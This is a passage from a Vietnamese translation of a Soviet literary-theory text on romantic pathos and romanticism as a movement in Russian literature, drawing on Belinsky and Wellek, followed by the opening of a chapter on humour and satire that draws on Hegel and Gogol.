Hoặc đây là một đoạn tương tự trong “Những người bất khuất” của B.Gorbatốp: “Con đường đau khổ? Không, nói như vậy không đúng. Đã có, đã có những đau khổ. Và đã có những ngần ngại – rét mướt, sự châm chọc. Và đã có sự thất vọng đến tận cổ. Tất cả đã có! Nhưng mà cũng đã có những phút khoái trá, hạnh phúc tràn đầy khác thường đi đâu đó trên đường trong cảnh tối tăm anh gặp một con người không quen biết nhưng thân thuộc và cởi mở trước anh, phó thác toàn bộ sự giàu có của tâm hồn mình, một tâm hồn Nga đẹp đẽ không khuất phục và hỏi: “Làm thế nào đây đồng chí? Hãy bày đi, làm gì?” và anh đặt vũ khí vào bàn tay của anh ta”.
Có thể chỉ ra không ít những tác phẩm với cảm hứng lãng mạn hoặc anh hùng – lãng mạn hoặc bi kịch – lãng mạn trong thơ trữ tình Nga Xô Viết. Chẳng hạn như “Nhà” hoặc “Không vì cường độ, không vì chất lượng” của N.Axêép, “Balat về cái gói xanh” và “Perekốp” của N.Tixônốp, “Đêm lãng mạn” và “Bài ca về Sorx” của M.Gôlôtnưi, “Cây cầu”, “Về thời niêu thiếu”, “Hai người thợ rèn” trong trường ca “Ở xa xăm – xa xăm” của A. Tvardôpxki, “Pápsim” của X. Sipatrép, “Trái đất” của Ia. Xmêliakốp và nhiều tác phẩm khác.
Nhưng thường có cái khác. Có thể là như thế này: một số người với ý thức chiến đấu xã hội tiến bộ sẵn sàng hiến dâng hoạt động anh hùng vì việc thực hiện những lý tưởng chung của dân tộc – tiến bộ của mình, đồng thời hiểu được hoặc dường như cảm thấy nó hoàn toàn không thể hoặc còn chưa thể trong những điều kiện sống xã hội đất nước của họ và thời đại của họ. Và khi đó họ gọi đến trong ý thức mình “những ảo tưởng quá khứ”, trong thâm tâm hướng đến những tính cách và sự kiện những thời đại anh hùng trong lịch sử các dân tộc khác nhau. Những tính cách và sự kiện anh hùng đó là đối tượng của phản xạ lãng mạn – công dân riêng cả chúng mà có thể trở thành cảm hứng của những tác phẩm của chúng. Rưlêép đã xây dựng “Vôinarốpxki” của mình và một vài “Khúc bi ca” như vậy, với Gôgôn là “Tarát Banba”, với A.K.Tônxtôi là một vài balát hiệp sĩ của mình v.v… Cái lãng mạn anh hùng theo đối tượng của mình xuất hiện như vậy.
Cảm hứng lãng mạn như vậy của nhiều tác phẩm văn học là hiện tượng chung được lặp lại một cách lịch sử, có tính loại hình nhưng trong từng trường hợp riêng biệt thì lại có tính lịch sử cụ thể theo cách của mình.
Từ tất cả điều đó có thể rút ra kết luận là thực tế có những tác phẩm mang cảm hứng lãng mạn nhưng đồng thời không hề có quan hệ nào với chủ nghĩa lãng mạn như một khuynh hướng văn học nhất định tồn tại ở nơi nào đó và lúc nào đó.
Một mặt khác chính những tác phẩm của khuynh hướng lãng mạn tức là được tạo dựng để thực hiện cương lĩnh sáng tác mà nó theo những nguyên nhân này hay nguyên nhân khác đã nhận được tên gọi chủ nghĩa lãng mạn, đã có thể thực sự trở thành lãng mạn theo cảm hứng của mình nhưng đã có thể bị mất đi cảm hứng lãng mạn. “Người tù Kápka” hoặc “Những người Xưgan” của Puskin ở trong nghĩa này là những trường ca lãng mạn. Chủ nghĩa lãng mạn của chúng chứa đựng trong khao khát của nhà thơ hiểu rõ và đề cao một cách xúc cảm cuộc sống của người Tréckét và người Xưgan như một biểu hiện sự tự do công dân tuyệt đối không bị một sự cưỡng bức nào làm u ám cá tính con người và vì thế sinh ra sự toàn vẹn đạo đức, phẩm hạnh và sự hồn nhiên của những quan hệ người (trong phần kết “Những người Xưgan” nhà thơ đã khắc phục ảo tưởng nhận thức đó). “Gavriiliađa” hoặc “Bá tước Nulin” không chứa trong mình một xúc động lãng mạn nào của các nhân vật của mình, không một quan hệ lãng mạn nào đối với chúng từ phía tác giả.
3
Cảm hứng lãng mạn của các tác phẩm liên quan với khuynh hướng của chủ nghĩa lãng mạn đã có một thuộc tính cơ bản. Trong phần lớn các trường hợp nó khác biệt bởi tính trừu tượng lịch sử của những lý tưởng sản sinh ra nó và đã dẫn các nhà văn tới “tính định chuẩn” của việc phản ánh tính cách và giải quyết các xung đột.
Bêlinxki trong bài báo của mình về Giucốpxki đã nỗ lực nêu ra không chỉ cái định nghĩa chung của chủ nghĩa lãng mạn mà hình như còn hiểu được sự phát triển lịch sử của nó. Đặc biệt thú vị là những nhận định đặc tính của chủ nghĩa lãng mạn trong thế kỷ hoặc như chính ông tiếp theo đã xác định thêm chủ nghĩa lãng mạn là “hình thái của những thế kỷ trung đại” hoặc “trong tinh thần các thế kỷ trung đại” và chủ nghĩa lãng mạn của “thời đại mới”. Cái đầu tiên trong những đặc điểm chung theo Bêlinxki được tiêu biểu bởi ở trong nó “thế giới phân rã thành hai – một phần bị khinh thị ở đây và một phần không xác định, huyền bí ở đằng kia”. Nói cách khác, trong thời đại mà Bêlinxki trong những đặc điểm chung hoàn toàn gọi là “những thế kỷ trung đại” và thời đại đó chính xác hơn đã bắt đầu từ sơ kỳ thời Phục hưng hoặc thậm chí từ lúc có thể gọi là Tiền phục hưng thì những người bắt đầu có khả năng hướng đến thế giới quan lãng mạn đã thường tìm thấy những lý tưởng cao quý của mình ở phía sau giới hạn của đời sống hiện thực của đất nước và thời đại họ, thường gắn những lý tưởng ấy với những quan niệm tôn giáo của mình. Theo sự tương phản với những lý tưởng ấy, với thế giới ảo tưởng ấy, cuộc sống thường nhật bao quanh họ hình như đối với họ là một cái gì đó hèn hạ, tầm thường, phù sinh đáng khinh bỉ và lên án. Còn chính những lý tưởng của họ vì điều đó đã trở nên rất trừu tượng. Chủ nghĩa lãng mạn ái tình của Đăngtơ và Pêtrarka, những xúc động của các hiệp sĩ lãng du trong các tiểu thuyết của Arturốp chính là như thế.
Bêlinxki đã có cơ sở để thấy trong thi ca của Sinler chủ nghĩa lãng mạn tương tự với kiểu chủ nghĩa lãng mạn “trong tinh thần các thế kỷ trung đại”. Nhưng chủ nghĩa lãng mạn trong sáng tác của các nhà thơ Nga những năm 1810 – 1820, phát biểu dưới biểu ngữ chủ nghĩa lãng mạn đã có những đặc điểm tương tự như vậy. Nó đồng thời cũng khác biệt bởi thuyết nhị nguyên độc đáo, bởi sự đối lập gắt và tính tương hỗ hiếm có của những lý tưởng của chúng và của đời sống hiện thực bao bọc chúng. Và trong sự phản ánh những tính cách các nhân vật của mình trong ánh sáng của những quan niệm lãng mạn trừu tượng như vậy các nhà thơ Nga giống như Pêtrarka và Sinler, đã đi đến “tính định chuẩn” của phản ánh đời sống.
Chẳng hạn cơ sở nội dung các trường ca lãng mạn của Puskin là phản đề trừu tượng của cuộc sống các dân tộc hay còn chưa hiểu nền văn minh và vì thế được khác biệt bởi những đặc điểm tích cực của sự tự do, sự nồng nàn, sự trong sạch đạo đức và của cuộc sống xã hội văn minh thị thành mang trong mình những đặc điểm tiêu cực của sự áp bức, sự nô lệ, sự hư hỏng đạo đức. Nhà thơ mô tả lối sống thượng võ của người Tráckét, sự đắm say trong hậu cung của khan, cuộc sống du mục của người Xưgan nhưng đồng thời cả những ham thích cuộc sống như vậy từ phía người tù và Alêkô với nhiệt hứng lãng mạn được biểu đạt rực rỡ. Điều đó dẫn nó đến sự lý tưởng hóa lãng mạn đời sống được mô tả, vì nó mà những người Tráckét, Xưgan, những nhân vật của bi kịch hậu cung hành động, suy nghĩ, cảm xúc trong sự phù hợp không phải với tính cụ thể lịch sử các tính cách của mình mà với chức năng tích cực mà chúng mang trong quan niệm chung của tác phẩm. Và những hành vi thiếu đạo đức của người tù, trong mức độ lớn hơn – của Alêkô trong các kết thúc xung đột cũng bắt nguồn cơ bản từ cái điều rằng các nhân vật ấy hiện ra không như sự thể hiện sinh động của hoàn cảnh cụ thể lịch sử của mình mà như những con người nói chung bị hư hỏng bởi một xã hội văn minh nào đó. Nghĩa là trong các trượng ca phương nam của Puskin “chủ nghĩa định chuẩn” mô tả các tính cách đã bắt nguồn từ suy nghĩ và đánh giá lãng mạn trừu tượng lịch sử của chúng – từ chủ nghĩa lãng mạn trừu tượng của nhà thơ.
Một cái gì đó tương tự có thể tìm thấy ở Rưlêép – trong “Những khúc bi ca” và “Vôinarốpxki” của ông. Làm cơ ở nội dung của chúng là phần đè đạo đức công dân trừu tượng của những người hoàn toàn trung thành với quyền lợi và nhu cầu của đất nước thân yêu và những người thờ ơ hoặc thậm chí thù địch của chúng – một phản đề thường gặp trong tất cả các thời kỳ lịch sử Nga và Ucơrain. Nhà thơ khẳng định một cách lãng mạn giống như những đại biểu các tầng lớp và thời đại khác nhau như những người gánh vác nghĩa vụ công dân và lòng dũng cảm và trong các cốt truyện tác phẩm của mình thì buộc chúng hành động phù hợp còn thường thì nói lên những lời giáo huấn đạo đức – công dân hầu như giống nhau. Và ở đây “tính định chuẩn” của phản ánh các tính cách đã bắt nguồn từ sự suy nghĩ và đánh giá lãng mạn trừu tượng của chúng.
Chủ nghĩa lãng mạn đạo đức – tôn giáo của Giucốpxki trong các balat và nhiều tác phẩm thi ca của ông là trừu tượng theo cách của mình. Nó đặt cơ sở trên sự phản đề còn gay gắt hơn những nguyên lý từ lâu đời “cái thiện” và “cái ác” trong tâm hồn nhân loại, cái tâm hồn mà theo truyền thống nhà thờ đã được nhà thơ nhân cách hóa trong hình tượng khác nhau của những vị thần ánh sáng và vị thần bóng tối hoặc những linh hồn được cứu rỗi và những linh hồn hư hỏng. Những đại diện các nguyên lý ánh sáng thường trở thành biểu tượng của những xúc cảm lãng mạn cá nhân nhà thơ – của tất cả cái huyền bí, kỳ diệu trong tình yêu, tình thân ái, trong thiên nhiên, trong cái mà nó khao khát tin tưởng. Và những xung đột của những nguyên lý thiện và ác luôn được giải quyết ở họ “một cách định chuẩn” – theo quy luật nhị nguyên tôn giáo chứ không theo tính quy luật của hiện thực.
Vậy là trong những tác phẩm lãng mạn theo cảm hứng của các nhà thơ chủ nghĩa lãng mạn Nga sự thể hiện “cái huyền bí và không xác định ở nơi kia” đối lập gay gắt với “cái khinh bỉ ở đây” đã không chỉ là những hình tượng ảo tưởng – tôn giáo vay mượn từ thế giới quan trung cổ đầu iên như trong phần lớn các balat của Giucốpxki, mà còn là cuộc sống của các dân tộc ngoại lai hầu như hoàn toàn ự do khỏi nô lệ và áp bức như trong trường ca của Puskin và là những chiến công anh hùng trong các cuộc chiến tranh giải phóng dân tộc của quá khứ, hầu như không chứa đựng trong mình những mâu thuẫn xã hội bên trong mà chúng đã được miêu tả trong các trường ca của Rưlêép và Kiukhenbeker.
Từ tính chất nhị nguyên của thế giới quan lãng mạn vốn thuộc về tất cả các nhà thơ ấy, từ “tính chất định chuẩn” được sinh ra bởi nó của các tác phẩm của họ tất nhiên đã bắt nguồn những đặc điểm phù hợp của phong cách thi ca của họ mà có thể gọi là “phong cách lãng mạn”. Đó là – cả “sức kéo đến tính nhiều hình ảnh”, sự ham thích ý nghĩa tượng trưng, phóng đại của tính tạo hình vật thể, cả “sự lộn xộn trữ tình” trong cấu trúc tác phẩm, cả “tính ẩn dụ mạnh mẽ” của ngôn từ nghệ thuật, cả “tính biểu cảm dễ xúc động cao cả” – tóm lại, hầu như tất cả những gì mà A.I.Bêlinxki đã chỉ rõ.
Những đặc điểm của chủ nghĩa lãng mạn có tính nhị nguyên và của sự phản ánh đời sống bắt nguồn từ “chủ nghĩa định chuẩn” của chúng và phù hợp với bản tính ấy của nội dung biểu đạt cảm xúc mạnh mẽ của phong cách đã không phải, tất nhiên, một cái gì đó không lặp lại ra ngoài giới hạn của khuynh hướng văn học nhất định của thời đại lịch sử này hay khác. Tất cả những đặc điểm ấy trong sự thống nhất của chúng đã có thể lặp lại một cách lịch sử trong sáng tác của các nhà thơ những thời đại, đất nước và khuynh hướng khác. Tất cả chúng, trên cơ sở của một nội dung tư tưởng nào đó, cho nên, trong sự tràn đầy cụ thể nào đó, đã được lặp lại, ví dụ, trong sáng tác của nhiều nhà thơ Nga cuối thế kỷ XIX đầu thế kỷ XX, thuộc vào văn học khuynh hướng chủ nghĩa tượng trưng – trong sáng tác của V.Invanốp, F.Xôlôgúp, A.Bêlui, A.Blốc và những người khác.
Trong ngày nay một số nhà nghiên cứu văn học, rõ ràng đang phát hiện xu hướng gọi tính lãng mạn là chủ nghĩa lãng mạn, trừu tượng về toàn bộ các vấn đề của mình và vì vậy dẫn đến “tính chất định chuẩn” của việc phản ánh đời sống. Cách hiểu như vậy không giải phóng thuật ngữ “chủ nghĩa lãng mạn” khỏi tính chất hai mặt ý nghĩa của nó. Một mặt, chủ nghĩa lãng mạn là một hiện tượng lịch sử cụ thể – là khuynh hướng văn học nhất định xuất hiện trong một thời đại nào đó. Mặt khác chính thuật ngữ này có nghĩa là một hiện tượng loại hình học – chủ nghĩa lãng mạn “định chuẩn” có thể xuất hiện trong những thời đại khác nhau, trong văn học của những trào lưu và khuynh hướng khác nhau. Và tính chất hai mặt như thế của thuật ngữ không nhất thiết đánh mất ý nghĩa khoa học cần phải có đối với tính rõ ràng và sáng sủa của nó.
Bêlinxki đã đối lập chủ nghĩa lãng mạn “hình thái của các thế kỷ trung đại” với chủ nghĩa lãng mạn “thời đại mới”. “Thế giới hiện thực, – ông viết, – có những quyền bình đẳng, nếu như còn chưa lớn hơn quyền con người, và trong thế giới đó con người trước hết là đứa con của đất nước mình, là công dân của tổ quốc mình, nồng nhiệt tiếp nhận vào trái tim những lợi ích của nó…”. “Tri thức, nghệ thuật, hoạt động công dân – tất cả điều đó tạo nên đối với con người hiện đại một phương diện đời sống mà nó chỉ cần trong sự liên hệ hữu cơ sinh động với phương diện của chủ nghĩa lãng mạn hoặc của thế giới thân thiết bên trong của con người – nhưng không thay thế nó”. Và nhà phê bình hiểu chủ nghĩa lãng mạn đó như “sự bừng sáng lý tưởng của những quan hệ đời sống bình thường, nhân cách hóa những khát vọng tự nhiên”(1).
Nói cách khác, theo Bêlinxki, chủ nghĩa lãng mạn thời đại mới là một khát khao lý tưởng không xa lạ với hiện thực, không đối lập với nó nhưng ý thức được trong ánh sáng của những khả năng thực hiện, trong viễn cảnh phát triển của nó. Một chủ nghĩa lãng mạn như vậy nói gọn lại, mất đi “tính nhị nguyên” nội dung của minh, đó là, nói như thế này là chủ nghĩa lãng mạn “nhất nguyên”, mặc dù nó cũng có thể có mức độ này hay mức độ khác của tính trừu tượng lịch sử.
Việc biểu hiện cảm hứng lãng mạn như vậy trong các tác phẩm nghệ thuật có thể không dẫn các nhà văn đến “tính định chuẩn” của sự phản ánh các tính cách. Chủ nghĩa lãng mạn như vậy có thể tìm thấy sự biểu hiện của mình trong những tác phẩm hiện thực theo nguyên tắc phản ánh đời sống. Những tác phẩm như vậy rất nhiều trong lịch sử văn học thế giới.
Tiểu thuyết “Một tổ quý tộc” của Tuốcghênhép là loại như vậy. Nhà văn đã miêu tả trong đó thông qua Lavrêxki là đại biểu của giới trí thức quý tộc những năm 1840, từ bỏ sự kích động lãng mạn trừu tượng của nhóm thủ đô mà đại diện là Mikhalêvich trong tiểu thuyết. Với toàn bộ tính khiêm tốn của những dự định của mình học quản lý kinh tế có văn hóa và bình thường hóa những quan hệ tài sản ruộng đất nông dân – quý tộc, nhân vật của Tuốcghênhép thấy trong hoạt động đó việc thực hiện lý tưởng khai sáng – tự do rất cao cả, có ý nghĩa tiến bộ chung các dân tộc trong quan niệm của nó. Từ quan điểm của Lavrêxki – nhà lãng mạn, hướng về “sự hiểu biết quê nhà” về “sự thừa nhận công bằng nhân dân”, không phải là sự công bằng quy thuận tôn giáo mà là sự công bằng của những khát vọng nông dân đối với “đất đai và con bò”. Những khát vọng ấy như ông cảm thấy là giới quý tộc cần phải thừa nhận và thỏa mãn không phụ thuộc vào nhóm cầm quyền quan liêu, vào những người kiểu Puskin.
Bằng cảm hứng của những khát khao lãng mạn ấy của nhân vật chính được tác giả ủng hộ, cả chỗ bắt đầu và đỉnh điểm xung đột của tác phẩm được xuyên qua – đó là sự xích gần lại của Lavrêxki với Lida, sự đua tranh và xung đột tư tưởng của Pansin, cuộc hò hẹn yêu đương trong vườn, âm nhạc của Lem v.v… Nhưng Tuốcghênhép đã nhận biết rằng nhân vật của ông không thể cố gắng để đạt được một cái gì đó thực tế và cơ bản trên con đường nó chọn và đã né tránh khỏi miêu tả những thành tích xã hội và cá nhân của nó. Trong phần kết tiểu thuyết ông đã đưa nhân vật của mình đến thất bại bi kịch nặng nề trên bình diện cá nhân, xuyên qua phần bạt hậu của tác phẩm bằng chủ nghĩa lãng mạn bi kịch của sự tận tụy đạo đức cao thượng của Lavrêxki và Lida xa xách khỏi các hạnh phúc có thể của họ.
Trong toàn bộ điều đó đã bộc lộ chủ nghĩa hiện thực của tư tưởng sáng tác của nhà văn, phát hiện tính cách điển hình của nhân vật chính tiểu thuyết trong viễn cảnh đúng đắn của toàn bộ tương quan lực lượng xã hội của thời đại, trong “những hoàn cảnh điển hình” của nó. “Một tổ quý tộc” là tác phẩm lãng mạn theo cảm hứng và hiện thực theo nguyên tắc phản ánh đời sống.
Cũng có thể nói như vậy về “Những người Kadắc” của L.Tônxtôi, biểu hiện chủ nghĩa lãng mạn của sự xích lại gần của người trí thức quý tộc gia trưởng với đời sống công cộng tự do của dân Kadắc sống cách xa với văn minh huỷ diệt đạo đức; và về một số bút ký Xibia của Kôrôlenkô với ẩn ý thi ca của “ý chí tự do” nhân dân của chúng; về một loạt truyện ngắn và kịch của Sêkhốp biểu thị cái khao khát của một số nhân vật và của chính tác giả muốn tìm những khả năng biến cả nước Nga thành “vườn nở hoa”; về vở kịch “Những kẻ thù” của M.Gorki mô tả sự bại lộ của nhóm công nhân cách mạng trong một nhà máy nhưng trong mình say mê cảm hứng lãng mạn tin tưởng rằng “những người này sẽ thắng lợi” và về nhiều tác phẩm khác.
Trong lịch sử văn học và phê bình của chúng ta những tác phẩm như vậy thường được hiểu là trong chúng chủ nghĩa hiện thực “hòa lẫn” với chủ nghĩa lãng mạn. Chủ nghĩa lãng mạn và chủ nghĩa hiện thực trong những tác phẩm tương tự là những phương diện khác nhau của nội dung của chúng. Chúng không thể hòa lẫn vào nhau bởi vì không thể “trộn lẫn”, ví dụ, hệ đề tài của tác phẩm và thể của nó hoặc là toàn bộ những vấn đề của tác phẩm và loại văn học của nó v.v… Chủ nghĩa lãng mạn và chủ nghĩa hiện thực không “hòa lẫn” mà tồn tại và tác động qua lại trong nội dung nhiều tác phẩm và nói riêng trong nhiều tác phẩm văn học Xô Viết.
Như vậy cảm hứng lãng mạn trong các tác phẩm văn học nghệ thuật có những sự khác biệt mang tính lịch sử cơ bản.
Chúng ta đã chỉ ra tính quan trọng của thuật ngữ “chủ nghĩa lãng mạn” rất không tiện lợi đối với khoa học chúng ta trong lịch sử phê bình và nghiên cứu văn học Nga bởi vì chúng đã từ lâu trở nên rõ ràng, đặc biệt phong phú bởi những quan điểm lý luận khác nhau. Lịch sử phê bình và nghiên cứu văn học Tây Âu và Mỹ không có sự phong phú như vậy. Ở đó thuật ngữ “chủ nghĩa lãng mạn” được thiết lập một cách vất vả hầu như chỉ có tên gọi khuynh hướng văn học, nói chính xác là những đặc điểm sáng tác của tất cả các nhà văn của những nước khác nhau cuối thế kỷ XVIII và đầu thế kỷ XIX mà hoặc là chính họ đã gọi tác phẩm của mình là “lãng mạn” hoặc là về các nhà văn như vậy với toàn bộ những vấn đề, nhiệt hứng và phong cách của tác phẩm của mình. Các nhà nghiên cứu văn học nước ngoài đến nay trong trường hợp tốt nhất đang tư duy giống như ở chúng ta A.I. Vêxêlốpxki, A.G.Xâytơlin và A.I.Bêlinxki đã tư duy.
Ví dụ tốt cho vấn đề này có thể là cuốn “Khái niệm phê bình” của R.Wellek, có chương “Khái niệm chủ nghĩa lãng mạn trong lịch sử văn học”(1). Trong đó tác giả đoán rằng, trong khi phản đối một số nhà nghiên cứu văn học khác, dù sao bảo tồn thuật ngữ “chủ nghĩa lãng mạn” để đánh dấu những đặc tính chung “của toàn bộ phong trào lãng mạn Tây Âu”, để có tên gọi tất cả “hệ thống tiêu chuẩn mà chúng đang chi phối trong văn học trong một thời gian nhất định của quá trình lịch sử”. Ông xem thuật ngữ “tiêu chí” thích hợp “đối với tên gọi các thói quen, như là các triết học, các phong cách và những cái tương tự”, nói gọn là “những quan điểm và phương tiện” mà chủ nghĩa lãng mạn khác biệt theo tính chất loại hình với chủ nghĩa cổ điển trong các nước châu Âu khác nhau.
Tiêu chí cơ bản của chủ nghĩa lãng mạn châu Âu Wellek cho là “khái niệm thi ca”, là hoạt động của tưởng tượng như của “trực cảm trí tuệ”, vượt qua “sự đứt đoạn giữa… ý thức và tiềm thức”, là khái niệm thiên nhiên giống như những hiện tượng “hữu cơ” vượt qua sự đứt đoạn “giữa con người và thế giới”, và “một tiêu chí cơ bản nữa là phong cách thi ca với việc sử dụng hình tượng, biểu tượng và huyền thoại…”. Giống ở Vêxêlốpxki và ở Xâytơlin – đó là quan niệm “có tính loại hình” của chủ nghĩa lãng mạn bởi vì những đặc tính của nó được xác định trong văn học của một thời đại nhưng của nhiều nước khác nhau. Đó là “loại hình hóa” trong những giới hạn của các khuynh hướng và trào lưu văn học lãng mạn khác nhau không lặp lại trong mỗi nền văn học dân tộc ngoài giới hạn của thời đại đó. “Chủ nghĩa lãng mạn” theo Bêlinxki là “chủ nghĩa lãng mạn” xuất hiện trong văn học của những thời đại khác nhau thì Wellek không tính đến.

VI. Trào phúng và châm biếm như những kiểu cảm hứng
Đến giờ chúng ta đã xem xét các biến thể như vậy của cảm hứng xuất hiện do việc hiểu thấu các quan hệ và tính cách con người từ phương diện tham dự của chúng vào khuynh hướng này hay khuynh hướng khác của sự phát triển tiến bộ các xã hội dân tộc, vào cái là “chân lý” của đời sống lịch sử của chúng.
Nhưng cũng không ít xúc động về cả sự hiểu thấu các tính cách và quan hệ thể hiện cách này hay cách khác những khuynh hướng thủ cựu, phản động và thoái hóa của đời sống xã hội có giai cấp, nó “không là chân lý”.
Nhân phẩm, danh dự, vinh dự biểu hiện trong những quan hệ cá nhân của con người nhìn chung như đã nói là những hình thức của những quan hệ người, xuất hiện không chỉ tự bản thân mà còn biểu đạt một nội dung sâu sắc hơn – là một vị thế khách quan mà mọi người chiếm lĩnh bằng hoạt động tích cực của mình trong những thể chế công dân, những giai cấp, phường hội, những phong trào xã hội này hay khác, có ý nghĩa tiến bộ chung các thời đại trên một trình độ nào đó của phát triển xã hội.
Và bởi vì đời sống xã hội có giai cấp sớm hay muộn cũng thay đổi theo giai đoạn, thời gian này bắt đầu khi mọi thể chế nhà nước, các giai cấp xã hội, các phong trào xã hội, sự hoạt động của chúng đã có trong quá khứ ý nghĩa tiến bộ ở mức độ này hay mức độ khác đối với xã hội nói chung một cách từ từ nhưng đôi khi khá nhanh chóng mất đi tính chất tiến bộ ấy của mình. Sự hoạt động của chúng trở nên thủ cựu hoặc thậm chí phản động, tiếp nhận những đặc điểm thoái bộ. Lúc đó chúng tự mất đi tính nội dung tiến bộ của mình, tính biện minh bên trong của mình và tất cả những biểu hiện riêng biệt của hoạt động của những thể chế công dân ấy, của các giai cấp xã hội, của những phong trào xã hội và cả những hình thức đạo đức quan hệ cá nhân giữa mọi người mà trước kia đã được nuôi dưỡng bởi tính hoạt động mang nội dung tiến bộ ấy. Những quan hệ và xúc cảm có tính người biểu hiện phẩm chất đạo đức công dân khách quan thuở trước của chúng, lòng hào hiệp, danh dự, vinh quang, dũng cảm mà với chúng mọi người còn tiếp tục sống một cách chủ quan, những điều đó được dùng làm nền tảng cho mọi người để tự đánh giá đạo đức cao chính bản thân của họ và trên cơ sở của những điều ấy họ có tham vọng được đánh giá cao trong mắt những người khác, trở thành những hình thức của đời sống tự mất đi nội dung của mình. Và cá nhân riêng biệt này hay khác càng ra sức tự khẳng định mình trong những hình thức thiếu nội dung xã hội như vậy bao nhiêu thì càng biểu hiện mạnh mẽ bấy nhiêu cái mâu thuẫn giữa cái to lớn không có thật với cái phi lý thực tế và trống rỗng của đời sống ấy.
Cái mâu thuẫn bên trong như vậy của sự tồn tại người trong xã hội có giai cấp đối kháng là tính chất khôi hài khách quan của nó.
Rất nhiều nhà triết học và lý luận nghệ thuật đã chuyên định nghĩa cái khôi hài trong đời sống và nghệ thuật. Và số đông trong họ đã xuất phát từ cách hiểu mâu thuẫn bên trong của cái hài. Chẳng hạn như Arixtốt đã thấy trong cái hài sự mâu thuẫn giữa cái xấu và cái đẹp, Kant thì thấy sự tương phản giữa cái thấp hèn và cái cao thượng, Senling – mâu thuẫn giữa số phận định trước vô biên với sự chuyên quyền độc đoán vô biên, Bêrxông – sự không phù hợp của cái tự động với cái sinh động v.v…
Hêghen trong “Mỹ học” nói về cái hài phần lớn là theo đặc điểm của cái hài như một thể loại và hành động của nó. Ông cho là đặc biệt có tính hài những hành động mà trong chúng “những mục đích nhỏ nhen, hèn mọn” được thực hiện “với vẻ bề ngoài nghiêm trọng to lớn”. Ví dụ, ông nhắc đến hài kịch của Arixtôphan “không chế nhạo đạo lý chân chính trong đời sống nhân dân Aten” mà “phơi bày trước cái nhìn của chúng thông qua chính bản thân trong cái ngu ngốc của mình loại trừ tận cùng nền dân chủ, làm mất đi đức tin cũ và đạo đức cũ…” (XIV, 368, 369. Nhấn mạnh của chúng tôi – G.P).
Nối gót Hêghen, Sécnưsépxki hầu như đã xác định cái hài giống với “sự nhỏ nhen và trống rỗng bên trong (của tính cách con người – G.P) được che đậy bằng cái vẻ bề ngoài có sức hấp dẫn về nội dung và ý nghĩa thực tế”(1).
Phát triển định nghĩa chung này, cần nhấn mạnh một lần nữa, ở đây muốn nói về những đặc tính của hiện thực có thật, về những đặc điểm của đời sống và những hoạt động của con người trong xã hội, về những mâu thuẫn của cái nhỏ nhen bản chất và cái quan trọng bề ngoài trong những hành động, quan hệ, xúc cảm, lời phát biểu của mọi người, trong những tính cách xã hội – lịch sử của chúng.
Trong nghĩa này cần phân biệt cái khôi hài bắt nguồn từ mâu thuẫn bên trong có tính quy luật này của các tính cách người và cái khôi hài của một loại bất kỳ của những sự ngẫu nhiên của đời sống. Từ cái khôi hài ngẫu nhiên và bên ngoài, tất nhiên không ai có thể phòng tránh trong sự trùng hợp nào đấy của hoàn cảnh. Theo Hêghen – đó là sự khác nhau theo nghĩa đen của cái khôi hài và cái buồn cười đơn giản. “… Thường thì cái buồn cười – Hêghen viết – hoà trộn với cái hài hước trong cái nghĩa riêng. Cái buồn cười có thể là bất kỳ một sự tương phản nào của cái bản chất và sự biểu hiện của nó, của mục đích và phương tiện, là cái mâu thuẫn mà nhờ nó cái hiện tượng tiêu diệt bản thân từ bên trong bản thân mình…”. “Sự ngu ngốc, vô lý, nhảm nhí… có thể không trở thành cái hài hước theo chính bản thân nó mặc dù chúng ta cứ cười nhạo chúng” (XIV, 367).
Sự khác nhau giữa cái hài hước của những cái ngẫu nhiên với cái hài hước chân chính sâu sắc của những tính cách người đặc biệt dễ dàng sáng rõ trong các hình tượng và các vở diễn của những tác phẩm tự sự. Chẳng hạn như N.V.Gôgôn – một trong những nhà văn hài hước vĩ đại nhất trong văn học thế giới, biểu lộ cho chúng ta những sắc thái khác nhau nhất của những hành động và lời nói hài hước.
Lố bịch hài hước, ví dụ như ông con Trời trong “Chợ phiên Xôrôtrinxki” đi gặp Khivria, lúc nó “nhanh chóng nhảy qua hàng rào và ngồi ngơ ngác ở đó một lúc lâu, rồi ước chừng cái cửa sổ – nơi dường như nhảy vào tốt hơn cả và cuối cùng bỗng ngã rầm vào đám cỏ dại. “Tội nghiệp quá! anh không bị thương chứ, nhờ trời, cái cổ còn chưa bị gãy đôi” – Khivria lo lắng lầm rầm trong miệng. – “Khẽ chứ! Không việc gì, không việc gì, Khanvrônhia Nhikiphôrôpna dễ mến!” – ông con Trời nói khe khẽ, chỉ có sự tổn thương từ đám cây họ hòa thảo hình giống như con rắn, theo cách nói của người cha quá cố vị mục trưởng”.
Trong cái lớp này có một vài khả năng nhận thức có tính hài hước: chính tính cách xã hội của vị con Trời, có khuynh hướng giống như những đại biểu khác của đẳng cấp tinh thần của mình, thường sử dụng cách diễn đạt khoa trương của văn chương cổ xưa để biểu thị những chuyện nhỏ nhặt đời thường (“sự tổn thương từ phía… cây họ hòa thảo hình giống như con rắn”, – thực ra là cây tầm ma). Nhưng về cơ bản thì cái hài hước của toàn bộ lớp này không nằm trong chỗ đó mà trong sự tương phản của việc đứng trầm lặng và đầy ý nghĩa của vị con Trời trên hàng rào và cái việc bỗng ngã rầm vào đám cỏ dại. Nhưng đó là cái hài hước ngẫu nhiên, bắt nguồn không phải từ những tham vọng về sự quan trọng mà từ sự bất lợi của hoàn cảnh chốc lát, từ cái vụng về cá nhân và tính thiếu cương quyết của chàng trai trẻ, rõ ràng gợi ra sự lúng túng của anh ta trước âm mưu ái tình sắp tới và sự sợ hãi bị bắt gặp.
Những ví dụ tương tự của cái hài hước ngẫu nhiên thường có rất nhiều trong cuộc sống hàng ngày. Đây là người béo phị đánh giá quá cao những khả năng thể lực của mình đang cố nhảy qua cái vũng nước và bị ngã uỵch vào đó, gợi lên một trận cười ở những người xung quanh. Đây là người phụ nữ trẻ trong khi tin chắc rằng người chồng thân yêu của mình đang đi vào nhà, bất ngờ từ sau cánh cửa ôm lấy cổ anh ta nhưng hóa ra đó là người hàng xóm già đi vào. Cười vang! Đây là những trò chơi định trêu chọc người thầy lơ đễnh và cau có, lén đính vào lưng thầy một mảnh giấy vẽ một bông hồng đỏ và ông thầy cứ mang nó đi vào hành lang, gợi lên những nụ cười mỉa kín đáo…
